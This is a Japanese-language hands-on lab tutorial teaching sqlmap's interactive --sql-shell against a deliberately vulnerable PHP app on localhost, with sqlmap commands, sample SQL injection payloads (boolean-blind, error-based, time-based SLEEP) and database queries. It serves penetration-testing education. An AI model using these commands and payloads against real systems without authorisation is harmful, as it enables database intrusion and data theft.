sqlmap でインタラクティブ SQL シェルを使用する

Kali LinuxBeginner
オンラインで実践に進む

はじめに

この実験(Lab)では、sqlmap の最も強力な機能の 1 つであるインタラクティブな SQL シェルを探求します。sqlmap は、SQL インジェクションの脆弱性を検出し、悪用し、データベースサーバーを乗っ取るプロセスを自動化するオープンソースのペネトレーションテストツールです。

sqlmap はデータ抽出を自動化できますが、--sql-shell オプションを使用すると、バックエンドデータベースへの直接的かつインタラクティブなアクセスが可能になります。これにより、カスタム SQL クエリを実行でき、ペネトレーションテスト中に柔軟性と制御性が向上します。この実験では、インジェクションを確立し、シェルを起動し、データベースを調査するためのコマンドを実行する方法を学びます。

対象へのインジェクションを成功させる

このステップでは、sqlmap を使用して Web アプリケーションをスキャンし、SQL インジェクションの脆弱性があることを確認します。セットアップスクリプトは、ローカル Apache サーバーで実行される、シンプルで脆弱な PHP アプリケーションを既に作成しています。sqlmap をターゲット URL にポイントし、初期分析を実行させます。

まず、ターミナルで以下の sqlmap コマンドを実行します。-u フラグでターゲット URL を指定し、--batch で非対話モードで実行し、すべてのデフォルトの回答を受け入れます。

sqlmap -u "http://127.0.0.1/index.php?id=1" --batch

sqlmap は一連のテストを実行します。完了するまで待ちます。出力により、GET パラメータ id が脆弱であることが示されます。この確認は、悪用を進める前に必要な最初のステップです。

脆弱性を確認する、以下のような出力が表示されるはずです。

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 1421=1421

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71627a7671,(SELECT (ELT(2521=2521,1))),0x71787a7171,0x78))s), 8446744073709551610, 8446744073709551610)))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 2112 FROM (SELECT(SLEEP(5)))mrzs)
---
[15:30:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:30:00] [INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'

--sql-shell でインタラクティブな SQL シェルを起動する

このステップでは、--sql-shell オプションを使用して、ターゲットデータベース上のインタラクティブな SQL プロンプトを取得します。インジェクションポイントを確認したので、sqlmap に直接アクセスを提供するように指示できます。

以前と同じ sqlmap コマンドを実行しますが、今回は --batch オプションを --sql-shell に置き換えます。

sqlmap -u "http://127.0.0.1/index.php?id=1" --sql-shell

sqlmap はインジェクションを再確認し、特別なプロンプト sql-shell> を表示します。これは、バックエンドデータベースとのインタラクティブセッションに入ったことを示します。ターゲット DBMS(ここでは MySQL であることがわかっています)の有効な SQL クエリは、このプロンプトから実行できます。

出力は次のようになります。

[15:35:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:35:00] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

SELECT @@version のようなカスタム SQL クエリを実行する

このステップでは、インタラクティブな SQL シェルで最初のコマンドを実行します。これにより、データベースに直接クエリを実行できる能力を実証します。一般的な最初のクエリは、データベースのバージョンを確認することです。

sql-shell> プロンプトで、次の SQL クエリを入力して Enter キーを押します。末尾にセミコロンを含めることを忘れないでください。

SELECT @@version;

sqlmap はクエリを受け取り、脆弱なパラメータに注入し、サーバーに送信して、結果を返します。MySQL の @@version 変数は、データベースサーバーのバージョンを含む文字列を返します。

データベースのバージョンがコンソールに直接表示されます。

sql-shell> SELECT @@version;
[15:40:01] [INFO] fetching MySQL version
[15:40:01] [INFO] retrieved: 8.0.xx-0ubuntu0.22.04.x
8.0.xx-0ubuntu0.22.04.x

SELECT user() のような別のカスタムクエリを実行する

このステップでは、データベースをさらに探索するために別のクエリを実行します。これにより、インタラクティブな制御の概念が強化されます。Web アプリケーションがデータベースに接続するために使用しているデータベースユーザーを見つけましょう。

sql-shell> プロンプトで、SELECT user() クエリを入力して Enter キーを押します。

SELECT user();

このコマンドは、現在のセッションのユーザー名とホストを返すようにデータベースに要求します。これは、インジェクションの権限レベルを理解する上で貴重な情報です。

出力には、セットアップスクリプトで構成したデータベースユーザーが表示されます。

sql-shell> SELECT user();
[15:42:10] [INFO] fetching current user
[15:42:10] [INFO] retrieved: labex@localhost
labex@localhost

インタラクティブ SQL シェルを終了し、ターミナルに戻る

この最後のステップでは、インタラクティブ SQL シェルを適切に終了し、標準のターミナルプロンプトに戻る方法を学びます。

sql-shell> を終了するには、exit または quit と入力して Enter キーを押すだけです。

exit

sqlmap はセッションを閉じ、Zsh ターミナルの ~/project ディレクトリに戻ります。これで、データベースとのインタラクティブセッションは終了です。

出力は、セッションが終了していることを確認します。

sql-shell> exit
[15:45:00] [INFO] quitting
[15:45:00] [INFO] shutting down at 15:45:00

[*] shutting down...
labex@vnc-ubuntu:~/project$

これで、sqlmap のインタラクティブシェルを使用してカスタムクエリを正常に実行し、通常のコマンドラインに戻ることができました。

まとめ

この実験では、sqlmap の最も強力な機能の 1 つであるインタラクティブ SQL シェルの使用方法を習得しました。

まず、基本的な sqlmap スキャンを使用してターゲットアプリケーションの SQL インジェクション脆弱性を特定しました。次に、--sql-shell フラグを使用してインタラクティブセッションを開始し、この脆弱性を活用しました。このシェル内で、SELECT @@version;SELECT user(); のようなカスタム SQL クエリを実行して、データベースを直接照会し、情報を取得しました。最後に、シェルを終了してターミナルに戻る方法を学びました。このスキルは、侵害されたデータベースに対してきめ細かな制御を必要とするペネトレーションテスターにとって不可欠です。